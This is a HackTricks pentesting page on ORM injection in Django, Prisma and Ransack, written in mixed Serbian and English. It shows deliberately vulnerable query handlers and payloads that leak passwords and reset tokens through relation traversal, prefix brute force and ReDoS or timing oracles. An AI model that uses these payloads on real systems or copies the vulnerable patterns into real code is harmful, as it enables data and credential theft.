hacktricks/pentesting-web/orm-injection.md

336 lines
11 KiB
Markdown
Raw Normal View History

# ORM Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Django ORM (Python)
U [**ovom postu**](https://www.elttam.com/blog/plormbing-your-django-orm/) objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Neki osnovni API prikaz na koji korisnici šalju zahteve za
pretragu članaka
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da **filtriraju objekte iz baze podataka**. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje.
Primeri:
* **Login:** U jednostavnom prijavljivanju pokušajte da iscurite lozinke korisnika registrovanih unutar njega.
```json
{
"username": "admin",
"password_startswith":"a"
}
```
{% hint style="danger" %}
Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja.
{% endhint %}
* **Relacijsko filtriranje**: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains":"pass"
}
```
{% hint style="danger" %}
Moguće je pronaći lozinku svih korisnika koji su kreirali članak
{% endhint %}
* **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith":"admi"
}
```
{% hint style="danger" %}
U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke).
{% endhint %}
* **Zloupotreba Django Group i Permission mnogu-na-mnogu odnosa sa korisnicima**: Štaviše, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **mnogu-na-mnogu odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**.
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
* **Obiđi filter restrikcije**: Isti blog post je predložio da se obiđu neka filtriranja kao što je `articles = Article.objects.filter(is_secret=False, **request.data)`. Moguće je izvući članke koji imaju is\_secret=True jer možemo da se vratimo iz veze u tabelu Article i da procurimo tajne članke iz ne-tajnih članaka jer su rezultati spojeni i is\_secret polje se proverava u ne-tajnom članku dok se podaci procuruju iz tajnog članka.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
{% hint style="danger" %}
Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka.
{% endhint %}
* **Greška/Na osnovu vremena putem ReDoS**: U prethodnim primerima se očekivalo da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
* **SQLite**: Nema regexp operator po defaultu (zahteva učitavanje treće strane ekstenzije)
* **PostgreSQL**: Nema podrazumevani regex timeout i manje je podložan backtrackingu
* **MariaDB**: Nema regex timeout
## Prisma ORM (NodeJS)
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
* **Full find control**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
Следећи упит бира све објаве које је креирао неко са лозинком и враћа лозинку:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
* **Potpuna kontrola where klauzule**:
Pogledajmo ovo gde napadač može kontrolisati `where` klauzulu:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Podložan ORM leak-ovima
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Moguće je direktno filtrirati lozinku korisnika kao:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
```
{% hint style="danger" %}
Korišćenjem operacija kao što je `startsWith` moguće je otkriti informacije.&#x20;
{% endhint %}
* **Zaobilaženje filtriranja u mnogim-relacijama:**&#x20;
```javascript
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
```
Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
Takođe je moguće leak-ovati sve korisnike zloupotrebom nekih loop back many-to-many odnosa:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
* **Greške/Upitnici sa vremenskim odlaganjem**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgovor bude odložen kada se pronađe ispravna leak.**
## **Ransack (Ruby)**
Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.**
{% hint style="success" %}
**Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne dozvoljene liste za pretražive atribute i asocijacije.**
{% endhint %}
**Vulnerable example:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force napad na reset token sa:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
By brute-forcing and potentially relationships it was possible to leak more data from a database.
## References
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}